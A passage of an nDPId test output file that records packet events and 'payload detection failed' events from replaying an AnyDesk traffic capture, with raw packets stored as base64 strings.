xka1Nd07hJ4J4\/pkW0x8vUqHHOhDO2DuFdXeXyxJlrnPrqmS0N+gVV8wtwfOHvQXhgcu+falTaa90f26JUkcjqfmCIYTHTmJxqZlrIOR9TFVIJrsytwTFZ3EhjgVtu8KF1UbWioa21HLQntyMdPLJdReCU9lpUwTK6le1Gi53qDAAxDynHjmYbfqGc7R4sYU+ZAVW6r8QoOLuElLHhI3Zih\/ZQTpuGB+qefgnvGs45nA9nP7LFM0Ir4Ig71QBKTcbDsT2ZHHaDmLtK0ADUAOm9y5IX8ulXG4QvrZeT6\/M+jsI7PTIldhRCXoIB3aDShR9yLeFGGr1ZNTwPli+F6Uu6aFs58An1VDcuz8pTmeSJiuWu\/+MVgvObW3gId+I3qVqjUxLKMczMLyypORcfUiSLr5iWmDNeDRLXBugY7Fjt\/ZmPKGGYweaMHqjWOviJW1Rd\/IjXmIxj5VKlXDPx0PLRKMXNL53cmzKoMah5yNY0tOk\/yRgbJ1YptVpI="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2403,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2074} +02467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2429,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977616,"pkt_ts_usec":377475,"pkt_caplen":1601,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1601,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiLhAAIAGAADAqAG7wKgBstOUG56PNkjlWcRUHlAYIBKExAAAFwMDBgZZ4hNO+msXYFAvxseu7\/lEBayX62Uk4uVro25bT1BK661VhBg\/Sxw\/MXlPNVcZW673myZYisH1w\/3u4Vhyo5loQUb5DNtI2Njsin\/tIKFmjiBtXi3dWcTg8WFsNyrBkxIZIM69xqOwQyStODOW4BjdagJ2cwRu6Oo1egqShZd5mSBLP98zLjH93VQCzqqQwbP6PJuY0x4qd+5SdPg6rRAML1KLbasDeOG\/l4q4rvqJ6w+4ke9FYLU3aA\/PExl3ACxM1HaxFm6PfzRwGdqF7O1yqqNtPvhd2WwTCNYWMSr3R4LFYqki8fcpYwBMQRGjk0\/bEbpP45tkp8XE+qvEmwtHricv3Wk7D6YWvUUm5UXJtSrxYot2yZilBMtpDFViVY3NzUiCAHZmXJMuT4CnyfhFQDEawW4jamCkIn0goKP6uc0\/mRnsWtLnesFWfMPqS5CvCLx2WfBthi185GeW7Pm+X8YOPIVlcX33wNStvYOitJyDW4i+ZeU+ane1I5i8SsmjDEa4ETH1BDksYZGKTW\/oNw+5bZL9aJF39RDNjg+MOKAjaPRpP+hd10ON7wWCtSNTd4fxiqsF9Fbq+5gDp4TcZGWDM1r0vVYwXzaXYCEElOrYZEjKjn68qf0T0eaUWr12mt2Mcrcc+49JuwbYYbd0wxxB1QYy\/yqJ9VNo+6E6IIqNyAoHKEEvw8rZbqtl5xfCTdaHAq+mVDDY0DlcWerhK+eQ8WoLDOvTq+PL17Fq8FufKRtMhbshIk20CazCU6IxCxun4Yi+fJDk7GBfY\/IHEBUSZuQs5TEk4oNBKgbNOmVpWHjIyq6UPGyeMGlNwH+Z7GDfarh5Wlub18C4KfgRh7i81Xute7jkCPc38\/8j80VRwqin1MJ3Fxtx9CJSKgQMX1Y0N\/2HCThJcHK3+fco7YlBt8OoaaXddpuQwrYcKK34T5xFKY+KXuMIPl8ClGlYd++L2SAB7PJDtA3LB+TRHbzK8FRV4GnVjLj9zVr1Bd1tFK63tXLUkG0xVe6tzKzk8XhB1tNl0kRfAaugprWFSLyX\/LYJ7kyzudjjpoGkt7MN0I+n0UJrOhLUR676kRvRUVrZZmA020xCPTSDEilC1LclKtzLXqbQ5D9H62AzjGei7pRgkI7lXbE3iWvOPc8gwC4AT7KeLZBB89Xt80VKN8qJhSEoPSRVaG2wBV8nqd0NIQRkX20Tsj\/7QK4t8hvjd8ueThE0ZHe1rg+vYSwQ7Gp5ahmaR8uLCsjI1r+wyj0nV4E0e30NCu2Wzr3HFq6AqM9nltX1z008cz17+TWFJoXpiTa78ETS0If29bG2i5kjAmTOk88axk40f1qoVV8ughf628PyF+bKrMUiv6r+y\/Jcr8\/XyQT9e479JXQdj\/Fg1wsyXUaElPP+dsurfjJVx8kIovbVtocNKUCr\/L0oAQA08lQTHIT4LjsNDZbwMBZ0ciMDfdXIIpOTOOfJhjOPotZt93pY98zvTftUjnOgAbYbDWBSCrE1f5GGtBgynWihEsp9kjko8JWHF7CQ85QIrCS7BM1T9gBpugoPQR+P7RawNbVSHwFHYn5hseWwUyQz9AT30IoHv2Jfjds5U4oH4ETGG\/uO6JXT7jlkZrKf+hwSax0eowygtRQ8okBNSYNLK9HcmuXg7HRd1P4s0nfvMzK6Tujua9PEstsgWFn+FfG9zZEK2eZpTSbkQHKNkgeRfFO9bZqN9RARqjwVeCH\/AgJHpLuxHaSe+Md3JPqOThw7LR14MaNjtOq0yxycOfLoKpnjMf0sX\/rmlnK4Olb8hESgFPqruVZosAg5HXXKEzFG1kQoMwNjlnFhPW8Q6BOVqH0TN2XtFO6R6BfC0e6+ETyQFh3vrK6Dw3nMrkkgMJ1eXUKvgaPkm+xoKXRmQfMQA4c2U25QYCq6uvdK9qVyEp6qN5hzHwxmN9VekZmmdXXOX7QrcGee\/edgg\/5LAqo05+rin5uBxEQWC8eV7fo3aP6RXqNjBQAtMkWpCmFJ0np\/a7v+2xaxPPHYg9aVAIk+oUj4ta5Ygvl4ucCoBv6cY7QmEbM="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2429,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1567} +02543{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2445,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977616,"pkt_ts_usec":813580,"pkt_caplen":1658,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1658,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiMRAAIAGAADAqAG7wKgBstOUG56PNlWnWcRUHlAYIBKExAAAFwMDBj9Z4hNO+msXZ0tgmnoMAhNtRabvusJJXdvTNE7v1+506mO1XRn\/ruLezyNbfE+Yk46KilorhjDrXryX7icyD4PgEGJNDoRDVTbAovbMAKfKETr0bLOzpuSzoZIXi8wvFkdWp53Tn6nvvx3FZAJbBsq+l1K9DWO44pzDfQOW+sBwVzLQy\/O\/EG2HazY2\/GwWLR8C6ovB9DVMMx4\/SzZFhZcxtUGwQ4q+mOpJAB9kHqTphVqhgKRVJ9jIqCCw3oCXhKewZKMthfnjbNm9ScubdqqQ2EQ4ONLfttECy+ib1WWFEt9Dm8NuWmxeqX2JUaKfwft0FPs77j7mMsRB2bFhNzgrAbjQ4mcRS\/eeLe8J3HVXkhi\/dtTcLRCWtP0QMKmFLlJ3JmxNzVM5gDHZ0sYMFvnndYjgh0GnneX9s0cYmEEpaltJmeYNQJsbQwR7Rry9tiVYBfpNJxBPR2KIv9IdgewVgbIbt4E4V5\/qwrexoGjYfLfOp26I6OJKQTsV3gMubMutM5kqxMuNnwGN3Bse1SFPXRxZNq5FQPDvPsV6JigtneSNObSp93M3O4CdvY8d6sDHGwgTtckfTyqxYeL07Dug5QSFROIZisuqd6FpNmRIpnbMbcvx5IrbfE2FnXLLuNIsRkBYgWCSUcDqLH+Ut0IFlLo5sz57eaD8tn+OpT6ULAm+Whi8+q5dGXPa5eUwj\/k4meSzAMeTdsMHnwukuAu2qSrIYzxwvBtaa1qI4DA2MWvdHvxfqEWiNC0GLPmxgZaOGaNt\/pLuJ1w0uGAY3V8pUs01PozJaLm7R7I8G+WBizrEQ3rDUPmcgCyu4a2tURoy\/LPj1S33G++DVB0MCtcsLsRwFVS+0CpgbLVO+1mFIfK+zpaBxf8smFtKFWLMukDVLo\/otsh5ywjuJ9rz0tcrpuan02F4V5ciWQcqU7HPXnS3nuCDAoEYH6mdfM2V6bOVKInVFSwIydIOBrkXzUmeUZibxkp132yClZqM86w9rPM45fN0kzxue1vKMsDRazJ0hIDrRPFz4x37MeLmZJ5RtlOYaHGpkp365dyCj5x\/ZJACkrsbcMc6hFfHOQKD0ZbTHHIlsS3iCVW5j9ZMruWB4YYyybhbJ1C4wk4n2gFBTq00u1huTP4ncRXXdbZx5OkrKEdZ2F4mChjES4X98m2Zn0tNDJEpxIMD2JM7jCN6fSGtBVV8dJRk9GbGQRjgvlxg+BWYwx5w7yU1nx8lJpn4Xwt+tCf+2A6mKsReo1RrnYVrbwi1Umw8O3MflY8IjSMgIxAkU+Mr0o5Eeb10plp6KV52IA2lcHxXLSP9Mm1YCbH7Rj2+n+UOjPxZlwYan+77VbfplSn4QzzSA1W0iFkYZ7H+SzwV\/DOLXHcCfKglndZZuzXaAEtV2IxVC0Q7oUKtfbnmrmUCt8RVPhnH76ychbOYew9kf8\/ZtpdOqlUMO1JEDvaXPUCiCtmn233zry246hPzLROvCFzcLK3k7bSfBMGlk2m1mE42yAapJXLg4F7qQccZda8CGlMfVaoHPZteuNuHfPu8fqki6bRZSuxDwhdfyfb8y43CNeIpIlalmnkmcf2zqfxz8BaZM5YVnTlp7NmQzxCzU6Dy4QTAaU58PExvxDLtJHD7nAK0fblxhlNpI+uM+Pb3QXc09LkLO+82FY0bQfcB0xALB1b3T1EnXhiLY2MgWBWzw69D+8wMwuGhlLQ7HQskGnrAs2YxmzbwhDzlXPBZbc\/Pnf52LjDd\/\/\/VutS1I1ufjg1wunQrJGnr7OLcT+4WX\/nLS1Lp76GljRkdVv3WOjafZDoL+Uh6M+p+86Z7PmUUIfn\/ZCRnuU9pk7LsoiNqIVEQIJ0G9dAcyVNtOhO3yBxGqebSGTbUZy7yeTcKVAFtSGTG4Wf\/c5kBeR6YldspA3WYPSDOhAcKjRofNQ6hkiD2iMLlUiWKt\/Xk9E\/DcW\/Kcuz9QFCMbM6uVMSolGYOM4TaIz3uVrZUQUisgGeaTbvQ8UZ8uqSUTsYWijiahwqUVRvGSFB4gF3T1xrjrmRRBziAVran60QUJjkda4FmRJxIk8wwH5u3AGlmIBcuG1+sRWykD7GUxVfysansVXGEQ8R0\/hdgSeQn5RTIkABrCobqvSjvEsw="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2445,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1624} +03370{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2446,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977616,"pkt_ts_usec":813656,"pkt_caplen":2264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2264,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiMZAAIAGAADAqAG7wKgBstOUG56PNlvrWcRUHlAYIBKExAAAFwMDCJ1Z4hNO+msXaJdnX2EJWnrTeYoiWF+cMLlnjyMSyOzyyrl4bfIdNIr\/tGJzo8tqYlEyMBw7Fh5+e\/TJ9TkJTqrs\/scPkQyrp4jMylbVgFjeByGTGLb1b0F17sRwj+JVj2XmXd+qyKjjAju\/Dvp2CgO\/jCQXsiBFzdwVTSb7XCfL3k1KKhndmHv4eMwxHcbSRrkQFQwabzcmvCJbFzFwMPF7ZSlgSOTEorbO0DTeFnCOUiW6ERTCdCw4nX08UPYQ3urv9r3RdyTgsi93jy\/+PbHaQb7+JtuhLv1G9eEEVLB7XfeAVO9f6az0r8bNYSoeiCFcMRH81XVarX3L+1xyOTckG4sdDxeeod4VBQhEs1NGA\/QHhQEXlqXN1vhMDw0a\/ReUgxNcYJ6jQd0aGoHRlvTy6B7uL5xhU8ZlAZ9GNgw\/BUW0U3P5jvCqYS6q6fePHKFqQ6kMUBbUYdvLadFQjMCY9KQrWh9YEj81pwYaqXBDJsBju4oSMq2TO\/nyVTQZE6z4Wofn\/zwEhXEd9jaOzPrpZFTcgiJ\/cxp7DgIecCc7+6lrWHOSo6Ni9+Xv50kX5Q8w0YRQUcD7Z3g9WcU\/5SRd632HguKxECIJEiomzcCxMQ8UstJfgIS99wMNBDKUx7T90aML3nP3nYqRjxSymeUMk+m7mSIuiaW6B8XoNjpezuMHCEOSHGzrAL+AdSGivqW88DN41+BO9QReObpfziun1erRyx\/QXA+Tays0Z2WMAau8qb9XUsG6poO4qH7uuOv3qWZ0u83ri8lek583rivz1\/q95bVi8ljuDdjEWXFTWt8SvzCWFJ2EqHB5NVsDd+eBMK4obAdEdEzjNEt\/39c1frOg5K2Ep9c6DxDEHsfYYsfFVjyd2anxW0abBhCI8FPqL8cPFP1DaIFJe4VDiyxX53oBeddpPr9o9lBDdYtweAeRr98clQUqWblMLfJJYDIR79tpH9OCklok1RiipLMRDOHxWgqMCT7y\/eTLb+ITQ8jZBjHz25GrJf81G7rgRPsQJZrgY+VB223rDP4jDOAVz90eqQ1gJ8rLWRfL9dTvTBO6aIskpbmcgk7b7cTU0rb5Bph9\/HguMaIt0yT8MC\/yN\/QuHUFfVRQmPJJ4ZZzDURN5JYYy7+sCHMwJDOmHhS3C2\/VN0ju897fvmASZRDyYdXcmAdQ6eAU+RZrgkDlT0MfIDuD\/Js8T0+e6D1mrXXInkqX4pta4BVI297b\/xeGB+qPi6Q3GeOPsuVRzxN4S6tPRY49B8nvK1UGhiz+TTXQ4zv5nLAwCw5+Bh7B6xeFPJOZyGOlCM73xhN82zU8MvRcYwLobiMgSpLQUfVvngcfmSiOADx3Gh36q0yXP1s7HBWMCt8wiFdBIjZQb0Z+NYT1Ov51BplqoIxIN3xsn76UlrLVscqas6WzGpQuMuXNvln6q6UirjqKzdWaotEu08ZaJJkeX8WpC8ztofU9H9E8cYphhZRNSCVBiYFYVd8b38Mp7A50qt0xZMpeKxW2cwk+Yt1XBWJvFF9HxURhX1QWvJlf3Fbx71QKVfbPlwRfxjDSPzhf9pBkYN9reVawV0CKehdX8+bSQu+HF1ZA22wj2vMnzJ4qNZQjTRP4zl3jg+UCBvPHJbn\/ni8ZGF8UZunM09eDmZjBHwjMf0YMlds1+kFdV1XRTw2tFeva8NN6+6qk3vtG+N\/7A1\/eKmK6UTzGSVvP7SrBFZYF8BLoSxDBuNydW+dj5xWtI8NEQ467TQUg+SEYADMKJcS\/RbJUreT6Bl8r4vgwMSyy9YnWQsGCIuSFkHdWF00alC6zNHfQcmPBDEDmR0tZ8tXTxQ8AayqPOxfYAY70+GFq\/QRTQmV4jsPh3JZYkAlMAuoFmA8cocsCkhcGCW22Qg\/LHJpUNRmVtDPQf+cjcNHHv812q6EoHE+HfnfehJArrQp6BSRhKwzirJGp6o+smJENZuSAFnEKPPEj98A2+kusluslIovYJsLHj8pfptN85daMfC+jYtSoZ7s\/lqihJiP\/9a9BnewMuCQFAOFtO8j7i3tV38G9dNMMfiWrXJ31JW8H\/bFrOCy3ISpIilNMUXF\/CzUhV19484FclbfzrRjXe4FMhpB0UAeK10413PLXbcOwvmS+8BmLaOL4vHDa1eErMrHqxXW8nGKOGsk5C5pgWmLXpdk9WV1HM5MzUrKgFVuiIjSPheoPBMa4aUpgGdrbHFKFmO2aGEVBuux4H85Kd9SAJV9BXi6HNVmnkvMyUSx3eseGsWuAxsg2CjsCxP4xf5jSHZWDyVwFBGs1x\/hMZTLqm8q\/VxFBXA6NiEeXFMmx5VxjDutBuvBWYE36n4FKwYV+2AWtsKu2MuYoht7tE1F\/BM2e1grpsxqaWMDmWfRudK7RKpVmfUyQpquump\/\/8fgf4MsXCzPMfbo9nxLnIDJvIgpF4MKRB9qRMwunuadsI9C5YAhcPfsyNSlvByBWK+lDd0PGFB6GXBeTJKnjkLYBFrzZu0AhpEahAc3wC8ga1ZKRRDA83PYphnYZzr6K8SgGfxfKn6bIk2Rfe6gFwiKtmN7X7j8j68frvmADfLSJSw0IaEScihq7mDPwABZC4a+0mJZbEzrRdToGyTXIyPhQEWUjBG9Lq1BgwHu\/amJ\/c\/PHGUOCGw0OeWAtFDZY04H\/+psgxO0kFTc8GAMouXixLwqgT4+QYewG+cYSfpnLEBxtVDwaW3j0y4h3wFXvjg7ZUxJoE1v4vn3Yhrp5eGmc33zLm9uj8s15f3gGvfCl1fWvSIDCzRQ4+b4NyR135riofOYRrsSf4LoSAeEPPMx7hAFJVyKIcirROzSQZM7ji0Z+7rfyYY49nw\/R+lXn1yx126FwI6Wtm1H9\/Y7wRe4nM+v31bJTw9SmWzrdZBbBpD6j+96gApIVxSeo+pyOzkEB8ZYO5z6DM5La\/+ag8bcs="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2446,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2230} +02822{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2475,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977617,"pkt_ts_usec":516902,"pkt_caplen":1857,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1857,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiOJAAIAGAADAqAG7wKgBstOUG56PNmlTWcRUSlAYIBKExAAAFwMDBwZZ4hNO+msXdd87m5s0KWUEgbEhYG\/8EU5lJr\/VbkapU5MbPhWJWEPCVbeUcT6ChvlRGiiL3prNjXoJG2oNyXYbfzWEgu\/1E9xqcRMr4GR6HJZKdDvJqsAwkpr2aV2G65+OwE2VLb9oGCF+akQJUBZ0tO26wk7PEibBk+c+4vaDGak3D35clsIGIkYs2\/rD0vdyeFGZDrelXwnezEZv5k9ukuJYyJyTs0kdFoHbzunn8FzhWTv8W5miLgEbiKJ3keCtCbY6Qeo5OfR933dGETju99H2YvCeq6PuIVuR0o+2zCfTMWwb0wxeha+YGMsqVMvyMg1VdrfHVnU3nSCKtU9sIKAcAXZFRw5wUV2abXyOEA\/m3BpMygH\/hktROLHVa\/C6bzqExl2xuzs3ACcIixUwyngTQcovdXBQCFmOn7VsIer3vNKBQBPsdC1dKpVuN8g+dbxxQFgl\/kHCG1Sta\/YKzJJ36gUy1XPQhseuXwr6g21RvM\/zC\/4nZsVuGIW0N\/jmKuZzlKvkHgG\/awUr86s6FZgeecI03W3tikldhLnu7a+GUqHUfjK+il7KJhdCYyYmiIGKxBzpbEXhU251hZIWFA6GdVBs2LkvJEpfAexFBQnvR25hBr5kBGrkGPzDlQETx7ym2wvArUqduftSmtALtdvDCXzsReqr8rmIUYVzAhmHLBB3HvOWdFuolKqtop34MvKMOfmAwC5kwZbw3hFJzG3J7cFk\/2fVJXhbeI1W0cweXoAwwYA96urZbGP24jmHmOlQbpaHIqWh4\/8hDvQ+DYSQjDYQpST+hYhwDoiWgLXsLiwYudFH1SSHCbWWtnd9z3IztSldzXqSPNZ+YkDsPYJc4BBdm8aiqMvnhtCao7Uwc51wTbc15+nq\/KGJ7k\/TfVkyb\/YJU1Px5r1mWRtIa0U41\/6Asy63fro9ODF7vwGugCkjp23mlFo0L53Yve8couuvXPmQd5RhhbWzANosFIMp3WRqu660my8oY9SSxjh+ppCx8XEtE7tquM5ZzQr4Vuyw\/q8MITiW2BOFrqPnC7wc02GAeQJL3lu9BFfembIukNJVtRz04GAr3shHE2td7N4cNHeSH1psC5zc9ovqPvyQM6LISOfuHStUM\/Y0iVXyNsXOOJfTbFl8awD8c\/hXq4836LvnWyW+V\/W\/U02pZzcgEBOpXB9e2yImW3Q6H3EQg94zmze7oydpAY3ey80xmkysEd5jqZrdKvaixwX3YO85ZU5HFQsuZceuJT21V9Ato97ZVAJq3slCdqmUWT1QSl3CalFCpoVKWEBoG0e1LNKoDyJ90IVKF50\/UXCJSsJ6VJp\/0AV9ffYI\/gsFgJndrwDHhN2Q2poTKXdsit+ZpITzjUg89iOxg5b28inxxNsiJ2UaomAnQhBGD7FGvNEfWCB8U3inl5Z2kjq+LRKYXai+zIcg9ZNXQ7MkXmgMDGYsYo5SnspYdpu+DwZJvUt4WlI1msiPZueGBFUDZ4x3uZrKlXH90gIUlA0xQuKuyEJX2sxvS2GtmloWKM5pc0iclfALxEjyewZg13FbbiWQduc80pG4Cmgxny+CacAvQDOjeGOn0hLFjfC38L6ER7LFLEODL7xlR7MJ3PEbAUzqcAl9Y7dXQzK1lYzCKeGUlSz4QM4oe+mMIXew7Z9zs5Sc8VUjEPtYnTH4pvRva8nnZ0nF7lG+uDCzyfYSlgyG6yHMqDanNLFrUoP1sBtmI0W3IYEK3tewwkCCv7T8njfDQ+OUyEsKTSIVoDw09wAZHCi9gjolFl+0wQKp4AkpoU4mDkqTNJhfz9OhWwKWod3YqOhM+Vk83\/pzWoNSotWdCG\/z9Zq01sYjuZojZUonMBOxuX5W4X3Fe\/M+SJmjMwm2mQDN+nV\/PWzUZL2g7hKZ96pXvbjhPgGK24GiwZ4v\/uTqDbfVv0YmtYcaGernwBIzZpaPyw6WDCegTGgDiryBPsmRx\/mvY7TMOIPfegseDxeEiMNr5gkVRiFb5ewGeR9JRt5uOqFFJ+tPQXoAzGMUN6+Sr8yo\/y6EqYfDSKywLvO6oi3LJgPckxn1v5knIlpi\/0GcqiXGP10Shr5AmhY3Y+I3A6PpLynZmOzY2\/MBKDcCcfeulcoucPS3owIabb3NAfKXysGA1D0MSQg4Ll3U8Eyn7r\/g2mABwNMa57kfqGM+hlIBxAli7sNT2l33oYRf13W7HTHrzUSEPbrADx19UsBY4mFoyXC3RzfBKeqK6GLpVT4wBvmLquZXS8WXQVLSxemBIBwJU+as8SOF46oMn7385znOa\/fhX+DvplCz8OrGeab6CTEAAgwvV9Vu1Bmx6WWLHj3Pq09uJq\/Utl76dr27xn\/iOy34AJds6UBXvt3N2WZ0N2hanxRKqCEQWx1ZX57Id\/OE"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2475,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1823} +02762{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2484,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977617,"pkt_ts_usec":579456,"pkt_caplen":1813,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1813,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiO5AAIAGAADAqAG7wKgBstOUG56PNnKmWcRUSlAYIBKExAAAFwMDBtpZ4hNO+msXeatV+BsU9ZBDP+DEkxkSadNl59qW+r5oXL2X\/LiTDfNMfDAVMt\/MLnmzUhgswAN2CxUKc4fZRYpPy6My52KdgwElq10dwV1LTzidRLYxHsKNJSztemnNlGAtywXL84g9rCKvBElwBjYDS3bI5hYgCJdDoJpkF3PhJH3e\/4ebT\/OZBpeWNJyva8aD8\/suewUf0gz5EKIDXojZvSZgHoZ1Umhlka3R6Eq7+HZBkVvnjDsO2g8+4L2NcbznXkVpBD86SSAZtx0C44tXS5LyfwBQN+dGMhDb0khOx3DSZGM9W9sdlHGbnpdmc2oMyH8b\/o3GtvS4Vawre1XnXbv2IRO+dZHz9mQkGk1yleKNnXEZhSTZPGa78h+9M9X7nbSfnLawdHa8f0x6dMjH3OyrSfwtTASdCVsV3ykZr8OFQ1+qTSce5\/LbnA3FdgyHdqfE1w3iccPG5xR91N5VGgNmoSCnrmQ5DJPNz6dHeHWvl\/02iCqjahwTtibtwBEnadl+7Oh5ZUR\/sYuckzdZ4iD9QbmBaUgLtkxR0t5tmnFCjCsBtn0Dk52oHtspOx2+RsfVRd+0k2czDvR0NK0MquMaqMR9jrwqoU9B4HpIlpNFNNRwn00PMsY\/AJ9M\/qx8tiKgwB9PFTTxqIPc6wY6eKEB3bwLUJ2MEZuh7kvUW9nvTAiklm3yk954NN\/YGM0YQ1y7YMXasvahwbJI5vD1KiglyMoGIvMYQkrL67IF2AQ\/P28JQ8Hs614QbGTeZECD3Z2Dn3wELhCN\/3nC6k2dvRV+PzJzUK5NGAZQ8\/saiEke4I8Qt452xHlyW9aKbv36Ic4G0QDJcoq4izX9aLCr4TKzFNk4VNFSGhGzeZOwZXboL4vpxWUmusZRCGv+D8kK371dpq4ci+5rWgO7pCS7uTtt\/m3Yg2DiimuSFh07NF7tzK+UEvBbZPfEoOuan+C9w\/leae1KzIVapJf7oZhu4B\/XEn0o3V5BYzVZIpOhJ+PAoeuamzT5Fo44JJIFLUHr5n8OUUvVgAbJjPOpQExQ752wnTgfne3zFRkONEQu2ckow+uVpyGYkUFuo22cpoUt6N0cPcx8w9Cjpuac4YNGgwuCWZ9Xvczv56xuxbwUq8ueevCbuIHX0jhpMzXxlajaIPLRFYwOnrThBmgwEIbKdC2rDIeH8ltxZOcpdh+hseD+ujiJ9lvMO6z6c8d2e5Wn6IvWO8Ghq9gqERHgJLw\/aPd09u8G8LxJjzfTtb3cxLXKLwW9JviewJ1TVJSx1nPr1Rff275+loITeiLRwNxJWvJYgPkjya3wjjnAQIh6\/\/P0O+vHz003fYtQ4fnw87e4zJ7Cm8ocbOdOq8XpqFkqYfx71wvQEhupYu5fI+ICx0+jTpDPl9ZbMkoHfYB4JZaifL31mIunXt9WDGWB3gDASFCgOxq1y8jPViGYO0JdCuQTJf7dOXBSDm7V04aRB\/EweJ0zy2FsTdVS0NDKYq4K8bFYdgvlzzQf6Re4PXCFDKm9XcdNKKkGv8MDd+fRQKE8n40ZPcl0yN3S+yfjXbYb6rwSQZnHlfTnkz\/WMoDztveRAMKXV5YuWL9AI0PQs0Qz13SvwmDPTIqZkZPAvjlQxphNlNtM3PLT3TM58p9tehorDTA7b2Dha6CPaoyXgKgrknlMvBP9nvcODDltyZTijzdlX2HcXawsxSmpL4fmOdbbEyLTtv5PZfxOP9mKz71LZ10CdtIJDJRmMdtE2IrqXrW1tQoV0d4YbL+BcifzhP9Icpd+bxkvrpLOzNTmXIFqZMU7Xl4bNBkZhZjLA4egt2qZeN0GBbvhsv6dhPnYZ+pVFaGz5ttWVihhxDEd44CIKDDSTe+boFQcaQpcC\/Noc7zMq2+WmR33GPxgRBBMlabv2MizHoQLh4O\/I\/CBPlA1hH\/VQYq1kGxD8zdvnaqDO5GxelHkfLSh0EOT2IZ\/tPW7WiFQgtsCgqQ66DnQ44QNboyk99WDg1tjvZb7uaNACyQ4nFj77TOwRdnYiM0W7lwT+aTcScqjuztdJB6hGomynJwX+sP60JlgHuSr\/Ci9DtD4MNm2gBiFHT4YyxYDdkkFIr1RPdlCl804Y2e3Vu8NTWCji\/YFPVkLEEFGame6EO\/lccbcdiPP1QTgLa+\/d14Q3+o7dMkSP0zaUOo2Jl8E7gD20k+\/KoYopYH1BgvGyQDBhJwGAUieOTSvcz6HpMa8nHtipSm\/tvjwP8hCzu2NLCbtfnlR\/\/GrMawKykwy1KhEanP3hsWx\/MjseQEXyTOuU2+rUYE4+3alAA0VdteYU4IK9wzuMsy0WRFiK5bblLQoqNscxNrx3A=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2484,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1779} +04797{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2501,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977618,"pkt_ts_usec":10264,"pkt_caplen":3318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3318,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiR5AAIAGAADAqAG7wKgBstOUG56PNoRqWcRUSlAYIBKExAAAFwMDDLtZ4hNO+msXgSCa2j2Q1VVBrHV9fuyPXyUiaOfHHk6UTMPnNtppwuITiJu\/MupH1nA4aJ45FvMQ2ZA1I6xeImkbqMutif6Y0JNVE81f3nCEjP\/yxvdhNuyssDsQLQRPmmFU1F8vuKDoIAvpF4tVHzZByeEW9MWvdHRqd+Ix66TEnWHecFS9CYDZosSYt\/0NhNFi5MhwYtScKGFYItri8nTHFYEeuRRaT3jLmGMUpKZX+Qo87pH+tKMGNoZotn74jIOVLEQbgZqLP2Op\/itD9eS5hGbodqx31kUBl9Y1g\/oGVGunXgbKNbbJzyr4hhKqb92ScwcCiOgUgaA\/nmrmUIGTfRGFUNk2O71Xa8xwwXhX7eJ9sAcN3RNXwK88+zWmgvKylSZZM8Mz16JXEEUAtIaJ2YONOVWOUSgPegsMri4QiL+aRJuhrMhrv7oAX1ptTzaFCkskhcmkbTDdev\/u4XrhAAmT9nwfCoB6IvjR+P\/UFRdOQdEvEVIpdXDSrZA+3Vgy1yOVABelnnRvLg2lc0c879fc6vEGVHr39tiua2lVsQjsWMpw6zFwp8WG2AOIEerMOvgbFRc4iOMZWSyOiojxsgZ\/Qp7nqYCp6qQg4IfWEeqkyZleJOQjhvpSYCi\/dQGZlCWE85hm0nxHln\/IxIW1Q7FtJwx017uT+ELnw+SmZbZlKaYTl7laWdZ4OKiWE77Nu+Hq6Yrg6VGRYLBM6ziXHbdT6rSS3il6x0Xp+L++ion0kk8DWelphaE9z8VP1iep9eA\/uIKlxumwUGGCfhME4K5fVShxSIhe3UUmqw4BPP2DUzorNvWUYMk1v55kNFdSQqEFgUTM0TlfKAdcn1a+jT9ZOI+RziCwrnLn7oHnspJ\/iYTdu4hHgt3vH8CKlJjS7CaDhzX+c8oF1wfnmwSLUwPhB9PTXtiHAJ0Zds